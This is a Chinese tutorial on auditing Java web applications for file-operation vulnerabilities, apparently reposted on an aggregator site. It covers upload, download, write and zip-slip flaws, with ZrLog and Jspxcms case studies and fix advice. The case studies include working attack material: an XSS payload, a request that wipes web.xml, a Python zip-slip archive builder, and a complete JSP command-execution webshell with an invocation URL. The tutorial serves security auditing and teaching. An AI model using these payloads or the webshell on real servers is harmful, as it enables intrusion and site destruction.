Java代码审计——文件操作漏洞

news2025/4/13 3:44:28

目录

(一)、 文件操作漏洞简介

(二) 、漏洞发现与修复案例

2.1  文件包含漏洞

2.2  文件上传漏洞

(三) 文件下载/读取漏洞

(四).文件写入漏洞

(五).文件解压漏洞

小结


(一)、 文件操作漏洞简介


        文件操作是 Java Web 的核心功能之一,其中常用的操作就是将服务器上的文件以流的形式在本地读写,或上传到网络上,Java 中的 File 类就是对这些存储于磁盘上文件的虚拟映射。与我们在本地计算机上操作文件类似,Java 对文件的操作同样包括上传、删除、读取、写入等。Java Web 本身去实现这些功能是没有漏洞的,但是由于开发人员忽略了一些细节,导致攻击者可以利用这些细节通过文件操作 JavaWeb 本身的这一个功能,从而实现形如任意文件上传、任意文件下载/读取、任意文件删除等漏洞,有的场景下甚至可以利用文件解压实现目录穿越或拒绝服务攻击等,对服务器造成巨大的危害。

(二) 、漏洞发现与修复案例


2.1  文件包含漏洞

        文件包含漏洞通常出现在由 PHP 编写的 Web 应用中。我们知道在 PHP 中,攻击者可以通过 PHP 中的某些包含函数,去包含一个含有攻击代码的恶意文件,在包含这个文件后,由于 PHP 包含函数的特性,无论包含的是什么类型的文件,都会将所包含的文件当作 PHP 代码去解析执行。也就是说,攻击者可能上传一个木马后缀是 txt 或者 jpg 的一句话文件,上传后利用文件包含漏洞去包含这个一句话木马文件就可以成功拿到 Shell 了。
        那么 Java 中有没有类似的包含漏洞呢?回答这个问题前,我们首先来看一看Java 中包含其他文件的方式
        JSP 的文件包含分为静态包含和动态包含两种:
  • 静态包含:%@include file="test.jsp"%
  • 动态包含:<jsp:include page="<%=file%>"></jsp:include><c:import url="<%=url%>"></c:import>
        由于静态包含中 file 的参数不能动态赋值,因此我目前了解的静态包含不存在包含漏洞。相反,动态包含中的 file 的参数是可以动态赋值的,因此动态包含存在问题。但这种包含和 PHP 中的包含存在很大的差别,对于 Java 的本地文件包含来说,造成的危害只有文件读取或下载,一般情况下不会造成命令执行或代码执行。因为一般情况下 Java 中对于文件的包含并不是将非 JSP 文件当成 Java 代码去执行。
        如果这个 JSP 文件是一个一句话木马文件,我们可以直接去 访问利用,并不需要多此一举去包含它来使用,除非在某些特殊场景下,如某些目录下权限不够,可以尝试利用包含来绕过。
        通常情况下,Java 并不会把非 JSP 文件当成 Java 去解析执行,但是可以利用服务容器本身的一些特性(如将指定目录下的文件全部作为 JSP 文件解析),来实现任意后缀的文件包含,如 Apache Tomcat Ajp CVE-2020-1938 )漏洞,利用 Tomcat 的 AJP(定向包协议)实现了任意后缀名文件当成 JSP 文件去解析,从而导致 RCE 漏洞。 Tomcat AJP 文件包含漏洞(CVE-2020-1938)_jinyouxin的博客-CSDN博客

2.2  文件上传漏洞

        文件上传漏洞是 Java 文件操作中比较常见的一种漏洞,是指攻击者利用系统缺陷绕过对文件的验证和处理,将恶意文件上传到服务器并进行利用。这种漏洞形成原因多样,危害巨大,往往可以通过文件上传直接拿到服务器的 webshell
        引起文件上传漏洞的原因有很多,但大多数是对用户提交的数据进行检验或者过滤不严而导致的。下面我们通过几个简单的代码片段来讲解一些文件上传漏洞。
1)仅前端过滤导致的任意文件上传漏洞
        由 JS 编写的前端过滤代码段如下:
<script type="text/javascript"> 
     function checkUploadFile() { 
     var file = document.getElementById("file").value; 
         if (file == null || file==""){ 
                 alert("未选定文件") 
         return false; 
 } 
     var allow_ext = ".jpg|.png|.gif|.jpeg"; 
     var ext_name = file.substring(file.lastIndexOf(".")); 
         if (allow_ext.indexOf(ext_name)==-1){ 
             var errMsg = "该类型文件不允许上传"; 
             alert(errMsg); 
                     return false; 
         } 
     } 
</script>
        对于攻击者来说,如果在后端对用户上传的文件没有检测过滤,那么所有的前端过滤代码都是徒劳。因为攻击者可以通过抓包改包的方式来修改上传给服务器的数据,从而绕过前端的限制。

2)后端过滤不严格导致的任意文件上传

后端过滤不严格的实际场景有很多,如后缀名过滤不严格、上传类型过滤不严格等。针对这两种原因,我们分别用示例代码来进行说明。
由上传类型过滤不严格导致的漏洞,示例代码如下:
public boolean checkMimeType(String filename){ 
     String type = null;
     Path path = Paths.get(filename); 
     File file = new File(path); 
     URLConnection connection = file.toURL().openConnection(); 
         String mimeType = connection.getContentType(); 
             If(assertEquals(mimeType, "image/png")) 
                 return true; 
     else{ 
         return false; 
    } 
} 
... 
 public String uploadFile(HttpServletRequest request) throws IOException { 
         MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request; 
     Map<String, MultipartFile> fileMap = multipartRequest.getFileMap(); 
         if(fileMap == null || fileMap.size() == 0){ 
             System.out.println("please choose your files!"); 
                 return "error"; 
     } 
     String root = request.getServletContext().getRealPath("/upload"); 
             File savePathFile = new File(root); 
             if(!savePathFile.exists()){ 
                     savePathFile.mkdirs(); 
     } 
         String fileName = null; 
         String suffixName = null; 
         MultipartFile mf = null; 
         InputStream fileIn = null; 
         List<InputStream> isList = new ArrayList<InputStream>(); 
             for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) 
    { 
             mf = entity.getValue(); 
             fileName = mf.getOriginalFilename(); 
         if(checkMimeType(fileName)){ 
             suffixName = fileName.substring(fileName.lastIndexOf("."), 
    fileName.length()); 
         try { 
                 fileIn = mf.getInputStream(); 
                     isList.add(mf.getInputStream()); 
                     LocalFileUtils.upload(fileIn, root, fileName); 
         } catch (IOException e) { 
         e.printStackTrace(); 
     }finally { 
     if(fileIn != null){ 
         fileIn.close();

         } 
         } 
     }else{ 
         return "error"; 
         } 
     } 
 return "index"; 
}
仔细阅读代码会发现,该上传代码片段针对上传文件的检测只有一个环节,即通过 checkMimeType() 函数来判断用户上传文件的 MimeType 的类型是否为image/png 类型,若是,则上传成功;若不是,则会上传失败。这里开发者的思路是没有问题的,但出现的问题和由前端过滤导致的任意文件上传有异曲同工之妙,在 checkMimeType() 函数中使用的是 getContentType() 方法来获取文件的 MimeType ,攻击者可以通过这种方式在前端修改文件类型,从而绕过上传。如 JSP 类型文件的MimeType 是 text/html ,我们可以通过抓包改包的方式将其修改为 image/png 类型。
        由后缀名过滤不严格导致的任意文件上传漏洞,示例代码如下:
public String uploadFile(HttpServletRequest request) throws IOException { 
     MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request; 
     Map<String, MultipartFile> fileMap = multipartRequest.getFileMap(); 
         if(fileMap == null || fileMap.size() == 0){ 
             System.out.println("please choose your files!"); 
         return "error"; 
     } 
         String root = request.getServletContext().getRealPath("/upload"); 
         File savePathFile = new File(root); 
             if(!savePathFile.exists()){ 
                     savePathFile.mkdirs(); 
         } 
             String fileName = null; 
             String suffixName = null; 
             MultipartFile mf = null; 
             InputStream fileIn = null; 
                 List<InputStream> isList = new ArrayList<InputStream>(); 
                         for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) 
{ 
         mf = entity.getValue(); 
         fileName = mf.getOriginalFilename(); 
         suffixName = fileName.substring(fileName.indexOf("."), fileName. 
length());
         if(suffixName.equals("jsp")){ 
             return "error"; 
         }else{ 
             try { 
                 fileIn = mf.getInputStream(); 
                 isList.add(mf.getInputStream()); 
                 LocalFileUtils.upload(fileIn, root, fileName); 
             } catch (IOException e) { 
         e.printStackTrace(); 
         }finally { 
         if(fileIn != null){ 
     fileIn.close(); 
             } 
         } 
     } 
 } 
 return "index"; 
}
上述代码是一个文件上传的代码片段,该段代码针对上传文件的检验是后缀名,若后缀名为 jsp ,则不允许上传,否则可以上传。该检验机制采用的是黑名单方式,虽然机制正确,但是代码中出现了问题。开发者首先利用 fileName.indexOf(".") 去检测文件的后缀名 indexOf(".") 从前往后取第一个点后的内容,如果攻击者上传的文件后缀名为 test.png.jsp ,则可以绕过该检测,通常我们取后缀名所用的函数为lastIndexOf()。那么此处若将 indexOf(".") 替换成 lastIndexOf(".") ,是不是就不存在上传漏洞了呢?
        答案是否定的,我们不但要求后缀名类型符合上传文件的要求,而且对于后缀名的大小写也要有所区分。这里的代码并未要求文件名的大小写统一,所以攻击者只需改变其上传文件的大小写,同样可以绕过该检测。
        文件上传的检测是重中之重,任意文件上传漏洞给攻击者带来的危害是巨大的,因此对于安全审计者来说,上传漏洞是审计工作中的重点内容。审计者可以重点关注表 2-1  所示的与任意文件上传漏洞相关的函数或类。
表 2-1 与任意文件上传漏洞相关的函数或类

 对于文件上传的防范或修复有以下几种方式

  1. 对于上传文件的后缀名截取校验时,忽略大小写,采用统一小写或大写的方式进行比对校验。
  2. 严格检测上传文件的类型,推荐采用白名单的形式来校验后缀名。
  3. Java 版本小于 jdk 7u40 时可能存在截断漏洞,因此要注意 jdk 版本对程序的影响。
  4. 限制上传文件的大小和上传频率。
  5. 可以对上传的文件进行重命名、自定义后缀等。

(三) 文件下载/读取漏洞


        与任意文件上传漏洞对应的是任意文件下载/ 读取漏洞。在文件上传中我们通常用到的是 FileOutputStream ,而在文件下载中,我们用到的通常是 FileInputStream 。引发任意文件下载/ 读取漏洞的原因通常是对传入的路径未做严格的校验,导致攻击者可以自定义路径,从而达到任意文件下载/ 读取的效果,如下代码是一个任意文件下载漏洞的示例:
protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException {
         String rootPath = this.getServletContext().getRealPath("/"); 
         String filename = request.getParameter("filename"); 
         filename = filename.trim(); 
         InputStream inStream = null; 
             byte[] b = new byte[1024]; 
             int len = 0; 
     try { 
         if (filename != null) { 
             inStream = new FileInputStream(rootPath + "/Public/download/" + 
    filename); 
             response.reset(); 
             response.setContentType("application/x-msdownload"); 
         response.addHeader("Content-Disposition", "attachment; filename=\
"" + filename + "\""); 
     while ((len = inStream.read(b)) > 0) { 
             response.getOutputStream().write(b, 0, len); 
     } 
             response.getOutputStream().close(); 
         inStream.close(); 
     }else{ 
     return ; 
 } 
             } catch (Exception e) { 
         e.printStackTrace(); 
 } 
}

(四).文件写入漏洞


文件写入与文件上传比较相似,不同的是,文件写入并非真正要上传一个文件,而是将原本要上传的文件中的代码通过 Web 站点的某些功能直接写入服务器,如某些站点后台的“设置/错误页面编辑”功能或 HTTP PUT 请求等。

        下面我们通过 ZrLog 2.1.0 产品后台文件写入漏洞来分析这个漏洞
        ZrLog 是使用 Java 开发的博客程序。在 ZrLog 2.1.0 产品后台存在文件写入漏洞,攻击者可以利用产品后台的“设置/ 错误页面编辑”功能进行文件写入。通过利用可进行存储型 XSS 漏洞攻击,或替换 ZrLog 网站的配置文件 web.xml ,致使网站崩溃;该漏洞出现的文件路径为:\zrlog\web\src\main\java\com\zrlog\web\controller\ admin\api\TemplateController.java,具体位置如图 4 -1 所示
图 4-1 ZrLog 漏洞位置

 

这段代码是网站管理员在网站后台的“设置 / 错误页面编辑 / 提交”处进行错误页面自定义的部分代码。可以发现 file 字符串由 PathKit.getWebRootPath() getPara(name:"file")两个字符串拼接而成。其中 PathKit.getWebRootPath() 的返回值是网站根目录的路径执行getPara("file") 方法,如图 4 -2 所示
图 4-2 getPara("file") 方法

 

可以发现该方法的返回值是 this.request.getParameter(name) ,而 this.request
javax.servlet.http.HttpServletRequest 对象,如图 4 -3 所示。
图 4-3 javax.servlet.http.HttpServletRequest 对象

 

由此可见,这套 CMS 在进行“错误页面编辑”时,未经过任何过滤就进行了文件路径和文件名的拼接。
漏洞验证过程分为以下 4
  1. 攻击者登录 ZrLog 的管理后台。
  2. 攻击者使用 Burp Suite 抓取“错误页面编辑”的数据包。
  3. 攻击者使用 Burp Suite 修改“错误页面编辑”的数据包。
  4. 攻击者发送数据包。
具体操作如下

  • 攻击者登录 ZrLog 的管理后台。
  • 攻击者使用 Burp Suite 抓取“错误页面编辑”的数据包,如图 4-4 所示
图 4-4 抓取“错误页面编辑”的数据包

        由图 4-4 可以发现,攻击者可以在发送 payload 前更改文件名和文件内容。

  • 攻击者使用 Burp Suite 修改“错误页面编辑”的数据包,如进行包含恶意JavaScript 脚本的 HTML 文件写入
payload 的关键如下:
file=%2Ferror%2Fsafedog.html&content=<script>alert(document.cookie)</script>
图 4-5 发送 payload

 

在浏览器中访问 http://192.168.114.238:8080/zrlog/error/safedog.html ,查看攻击效果,如图 4-6 所示
图 4-6 攻击效果

由图 4 -6 可以发现,攻击者可以通过修改文件名和文件内容,进行存储型 XSS攻击。最后我们只需要修改 payload 的路径信息,就可以达到使网站崩溃的效果,如以下 payload
file=/WEB-INF/web.xml&content=
查看 ZrLog web.xml 内容,如图 4 -7 所示

图 4-7 查看 ZrLog 的 web.xml 内容

         

        可以发现,web.xml 的内容被置空。

再访问 http://192.168.114.238:8080/zrlog/ ,可以看到已经瘫痪的站点,如图 4 -8 所示
图 4-8 已经瘫痪的站点

 

        对于此类型漏洞的防护以及文件下载/ 读取与任意文件上传类似。首先,就是要保证接收的路径不被用户控制,而且要对写入的内容进行校验;其次,文件写入漏洞一般利用的是源程序本身 自带 的功能,因此审计者对于此类型的漏洞进行审计时,要格外关注源程序是否具有写入文件的站点功能。此外 HTTP 请求中的 PUT 方法也可以创建并写入文件,例如比较经典的 ActiveMQ 任意文件写入漏洞(CVE-2016-3088)就是利用 PUT 方法写入文件;又例如 Apache Tomcat 7.0.0 –7.0.81 版本中,如果开启了 PUT 功能,会导致 Apache Tomcat 任意文件上传漏洞(CVE-2017-12615),攻击者可以利用该漏洞创建并写入文件

(五).文件解压漏洞


        文件解压是 Java 中一个比较常见的功能,但是该功能的安全问题往往也容易被忽视。由文件解压导致的漏洞五花八门,利用的效果也各有不同,如路径遍历、文件覆盖、拒绝服务、文件写入等。

         下面通过Jspxcms-9.5.1由zip解压功能导致的目录穿越漏洞实例来说明文件解压漏洞。          Jspxcms 是企业级开源网站内容管理系统,支持多组织、多站点、独立管理的网站群,也支持 OracleSQL ServerMySQL 等数据库。Jspxcms-9.5.1 及之前版本的后台 ZIP 文件解压功能存在目录穿越漏洞,攻击者可以利用该漏洞,构造包含恶意 WAR 包的 ZIP 文件,达到 Getshell 的破坏效果。

        使用 Burp Suite 进行抓包可以发现“解压文件”的接口调用情况,如图 5 -1  所示
图 5-1 解压文件接口调用

         该接口对应 jspxcms-9.5.1-release-src/src/main/java/com/jspxcms/core/web/back/

WebFileUploadsController.java unzip 方法,如图 5 -2  所示
图 5-2 unzip 方法

 

unzip 方法进行跟进,发现它的具体实现在 /jspxcms-9.5.1-release-src/src/
main/java/com/jspxcms/core/web/back/WebFileControllerAbstractor.java 中。在对 ZIP
件进行解压时,程序调用了 AntZipUtil 类的 unzip 方法,如图 5 -3  所示
图 5-3 AntZipUtil 类的 unzip 方法

 

AntZipUtil 类的 unzip 方法进行跟进,可发现该方法未对 ZIP 压缩包中的文件名进行参数校验就进行文件的写入。这样的代码写法会引发“目录穿越漏洞”,如图5-2 所示。
图 5-2 unzip 方法的内容

 可以通过以下步骤来验证该漏洞

1)攻击者制作恶意 ZIP 文件(包含 webshell
通过执行以下 Python 脚本创建恶意的 ZIP 文件 test5.zip
import zipfile 
if __name__ == "__main__": 
 try: 
     #binary = b'ddddsss' 
     binary = b'<script>alert("helloworld")</script>' 
     zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED) 
     info = zipfile.ZipInfo("test5.zip") 
     zipFile.writestr("../../../safedog.html", binary) 
         zipFile.close() 
     except IOError as e: 
     raise e
注意,使用好压打开 test5.zip ,可以发现 safedog.html 所处的路径是 “test5.zip\..\..\.. ”,如图 5 -3  所示
图 5-3 safedog.html 所处的路径信息

 接着,攻击者准备包含 JSP webshell WAR 包。该 JSP 文件的核心代码如下

<%@ page contentType="text/html;charset=UTF-8" language="java" %> 
<%@ page import="java.io.BufferedReader" %> 
<%@ page import="java.io.InputStreamReader" %> 
<%! 
     public static String excuteCmd(String c) 
     { 
         StringBuilder line = new StringBuilder(); 
                 try {Process pro = Runtime.getRuntime().exec(c); 
         BufferedReader buf = new BufferedReader(new InputStreamReader 
            (pro.getInputStream())); 
             String temp = null; 
                 while ((temp = buf.readLine()) != null) 
     { 
             line.append(temp+"\\n"); 
             } 
             buf.close(); 
         } 
         catch (Exception e) 
     { 
             line.append(e.getMessage());
            } 
         return line.toString(); 
     } 
%> 
<% 
        if("023".equals(request.getParameter("pwd"))&&!"".equals(request. 
            getParameter("cmd"))) 
     { 
            out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>"); 
         } 
     else 
         { 
                 out.println(":-)"); 
     } 
%>

然后通过 IDEA 生成 WAR 包,步骤如下:
进入“ Build ”下拉菜单,单击“ Build Artifacts... ”,如图 5 -4 所示
图 5-4 “Build”下拉菜单中的“Build Artifacts...

     选择“:war”模式(直接生成 WAR 包)或“:war exploded”模式(未直接生成 WAR 包,但支持热部署)选项。这里选择“:war exploded”模式,如图 5-5 所示

图 5-5 选择“:war exploded”模式

 

接着,我们可以在 IDEA 工程的 target 目录下发现新生成的“FastjsonDeserializationVul ”,进入该目录,全选该 Web 工程的所有文件并打包成 WAR包,如图 5-6 所示
图 5-6 打包 WAR 文件

 

        
将刚刚压缩成的 WAR 包拖曳到“ test5.zip ”,如图 5 -7 所示
图 5-7 将 WAR 包拖曳到“test5.zip”

 

    至此,本次漏洞验证过程所需的 webshell 的恶意 ZIP 文件已被生成。
2)攻击者在网站后台上传步骤(1)生成的恶意 ZIP 文件
单击“上传文件”按钮,上传 test5.zip ,如图 5 -8 所示。
图 5-8 上传文件

 

3)攻击者在网站后台解压步骤(2)中上传的恶意 ZIP 文件。
        单击“ZIP 解压”按钮,如图 5 -9 所示
图 5-9 文件解压

此时,在服务器端查看 webapps 目录的变化,可以发现 safedog.html vul.war文件被解压到了网站根目录“webapps/ROOT外,如图 5-10 所示

图 5-10 根目录变化

 

4)攻击者使用 webshell

在浏览器中访问以下链接:
http://192.168.114.132:8080/vul/webshell.jsp?pwd=023&cmd=calc
可以看到攻击效果,如图 5 -11 所示

图 5-11 文件压缩漏洞的攻击效果

 

        值得一提的是,该源程序其实已经有一定的安全防御措施,例如在网站的目录下访问上传的 JSP 文件会报 403 错误;“上传 ZIP ”的功能点可拦截本文档提及的“恶意 ZIP 文件”,而“上传文件”功能点不会进行这一拦截。
        针对此类漏洞的防护,要增加解压 ZIP 包算法的防护逻辑,如使代码在解压每个条目之前对其文件名进行校验。如果某个条目校验未通过(预设解压路径与实际解压路径不一致),那么整个解压过程将会被终止。

小结

        文件操作中的漏洞挖掘是审计者的重点研究内容,从文件包含、文件上传、文件下载、文件读取到文件写入、文件解压等,每一个环节都有可能出现漏洞,因此要花费不少的精力去测试和研究,但这种研究往往是有巨大回报的,文件操作出现的漏洞通常能够造成巨大的危害。同时,对于文件操作漏洞的挖掘还可以结合黑盒测试来寻找入口点去审计,有时直接从接口入手能更快速地发现文件操作中可能出现的问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/25075.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Arcgis建筑面shp由DSM和DEM获取高度拉伸并可视化

效果 1、准备数据 DEM、DSM数据精度尽量高一些 1)DEM 2)DSM 3)建筑shp 所有数据坐标统一,而且加载后位置能对上,DEM和DSM具有相同的像元大小 2、准备数据前的一些操作 1)矢量shp裁剪

C#实现最大公约数和最小公倍数

最大公约数&#xff1a; 最大公因数&#xff0c;也称最大公约数、最大公因子&#xff0c;指两个或多个整数共有约数中最大的一个。a&#xff0c;b的最大公约数记为&#xff08;a&#xff0c;b&#xff09;&#xff0c;同样的&#xff0c;a&#xff0c;b&#xff0c;c的最大公约…

net.sf.json.JSONObject 类的日常使用,非阿里巴巴的JSONObject,附上作者的jsonDemo

文章目录Json介绍作者的Demo项目地址常见的转化使用测试json的添加属性&#xff0c;打印bean与json互转deepBean与json互转list与json互转map与json互转demo所用到的实体类StudentGrade个人使用的依赖常用方法其他参考文档Json介绍 1、JSONObject只是一种数据结构&#xff0c;可…

DJYGUI系列文章七:GDD窗口系统

目录 1 窗口分类及关系 2 窗口的客户区与非客户区 3 坐标系统 4 窗口句柄与窗口ID的作用与区别 5 窗口的关闭、销毁、退出过程 6 API说明 6.1 ScreenToClient&#xff1a; 屏幕坐标转换为客户区坐标 6.2 ClientToScreen&#xff1a; 客户区坐标转换为屏幕坐标 6.3 Scre…

linux篇【11】:linux下的线程

目录 一.linux下的线程 1.linux下的线程概念 &#xff08;1&#xff09;教材上粗略的 线程 定义 &#xff08;2&#xff09;线程的引入 &#xff08;3&#xff09;线程真正定义 以及 示意图 &#xff08;4&#xff09;linux 和 windows等其他操作系统的线程对比 2.重新定…

22-python异常

异常一. 了解异常二. 异常的写法2.1 语法2.2 快速体验2.3 捕获指定异常2.3.1 语法2.3.2 体验2.3.3 捕获多个指定异常2.3.4 捕获异常描述信息2.3.5 捕获所有异常2.4 异常的else2.5 异常的finally三. 异常的传递四. 自定义异常五. 总结一. 了解异常 当检测到一个错误时&#xff…

Hibernate多表的关联关系、懒加载

一、一对多关系&#xff1a;插入&#xff1a; “一”的一方为主表&#xff0c;“多”的一方为副表&#xff0c;主表关联副表&#xff0c;应该在主表中加入副表对象作为属性。 根据顾客ID插入顾客信息 &#xff08;一&#xff09; &#xff0c;同时将顾客名下所有订单插入 &…

Python实现人脸识别检测,对主播进行颜值排行

前言 嗨嗨&#xff0c;我亲爱的家人们 今天来整点不一样的&#xff0c;嘿嘿 用Python简单实现对人脸识别的检测&#xff0c;对某平台主播照片进行评分排名 应该对女主播这个词不陌生吧&#xff0c;怎么说应该还是蛮多人看过一些女主播吧 我无聊的时候也会看看&#xff0c;…

2009年数学二真题复盘

选择题: 间断点的判断的前置芝士: 间断点的定义 设函数f(x)在点的去心领域内有定义,若f(x)满足以下条件之一: 在x=没有定义在x=有定义,但是不存在,或者存在,但是极限值不等于函数值。 类型定义 相关概念第一类间断点

CMS垃圾回收器

概述 CMS(Concurrent Mark-Sweep)是以牺牲吞吐量为代价来获得最短回收停顿时间的垃圾回收器。对于要求服务器响应速度的应用上&#xff0c;这种垃圾回收器非常适合。在启动JVM参数加上-XX:UseConcMarkSweepGC&#xff0c;这个参数表示对于老年代的回收采用CMS。CMS采用的基础算…

SpringBoot SpringBoot 开发实用篇 5 整合第三方技术 5.13 j2cache 相关配置

SpringBoot 【黑马程序员SpringBoot2全套视频教程&#xff0c;springboot零基础到项目实战&#xff08;spring boot2完整版&#xff09;】 SpringBoot 开发实用篇 文章目录SpringBootSpringBoot 开发实用篇5 整合第三方技术5.13 j2cache 相关配置5.13.1 j2cache 相关配置5.13…

直播绿幕抠图的例子(绿幕抠图直播实例参考)

阿酷TONY / 2022-11-21 / 长沙 什么是绿幕抠图&#xff1a; 设定绿幕或绿布&#xff0c;做直播软件抠图&#xff0c;这时绿幕绿布就可以被实时的抠掉&#xff0c;绿色就变成透明了&#xff0c;只剩下绿幕外的人物&#xff0c;此时添加上直播的背景画质&#xff0c;就实现了绿…

Git——Git常用命令

目录 常用命令概览 1. 设置用户签名 2. 初始化本地库 2.1 初始化本地库 2.2 查看文件 2.3 查看隐藏文件 2.4 进入到下一个目录 3. 查看本地库状态 4.添加暂存区 4.1 删除文件 5. 提交本地库 5.1 将暂存区的文件提交到本地库 6. 查看版本信息的命令 7.修改文件 8. 历史版本…

【Python入门指北】服务器信息清洗

服务器信息清洗 文章目录服务器信息清洗一、 subprocess 执行本机命令二、 获取服务器的硬件基础信息1. 基础信息2. 厂家和产品信息3. CPU 信息3.1 查看物理CPU型号3.2 查看物理CPU颗数3.3 查看每颗物理 CPU 的核心数4. 内存信息练习内存处理参考代码一、 subprocess 执行本机命…

智云通CRM:如何提前识别哪些客户爱说“不”?

有人说&#xff0c;做业务是最好的锻炼意志力方法&#xff0c;因为做业务的人经常会被客户拒绝甚至会扫地出门。被拒绝时&#xff0c;业务员一定要擦亮眼睛&#xff0c;善于察言观色&#xff0c;洞察客户的心理活动。透过观察了解客户为什么说“不”&#xff0c;客户拒绝情况有…

聚观早报 | 推特临时培训员工应对世界杯;世界杯足球内置传感器

今日要闻&#xff1a;推特临时培训员工应对世界杯;京东靠降本增效实现转亏为盈;世界杯足球内置传感器;艾格重返迪士尼CEO职位;特斯拉明年或开启收购计划 推特临时培训员工应对世界杯 据消息&#xff0c; 2022年世界杯拉开帷幕&#xff0c;推特的使用量即将激增&#xff0c;其维…

陆地卫星(Landsat)计划:50多年的星球档案

陆地卫星计划&#xff1a;陆地卫星1号至陆地卫星9号 1967年&#xff0c;NASA&#xff08;美国国家航空与航天局&#xff09; 提出了“地球资源技术卫星”计划&#xff0c;从此开始了在理论上对地球资源技术卫星系列的可行性研究&#xff0c;于是&#xff0c;陆地卫星 (Landsat…

汽车安全气囊设计?Abaqus/Part特殊建模方法-附案例step-by-step教学

作者 | 邓怡超 Abaqus/Part基于特征的建模功能可以说非常齐全&#xff0c;基本能够满足一般的分析要求&#xff0c;更复杂的模型则可以通过与专业三维建模软件之间的接口来导入&#xff0c;今天要说的是部件的另外一种建模方法。 有一种类型的分析&#xff0c;部件自身的初始…

坚持自学软件测试,半年的辛苦没有白费,不过才拿到10k的offer

找软件测试的工作只用了一周的时间&#xff0c;因为自己的年纪已经25岁&#xff0c;所以在简历上包装了两年的工作经验&#xff0c;但是我学的技术水平自认为还可以&#xff0c;因为我当时自学时用的教程比较有深度。 之所以要转行&#xff0c;我相信做机械工作的朋友都明白&a…

神经网络-前向传播Forward propagation

前向传播Forward propagation 前向传播算法就是&#xff1a; 将上一层的输出作为下一层的输入&#xff0c;并计算下一层的输出&#xff0c;一直到运算到输出层为止 在正式介绍前向传播前&#xff0c;先简单介绍计算图&#xff08;Computational Graph&#xff09;的概念。 yw…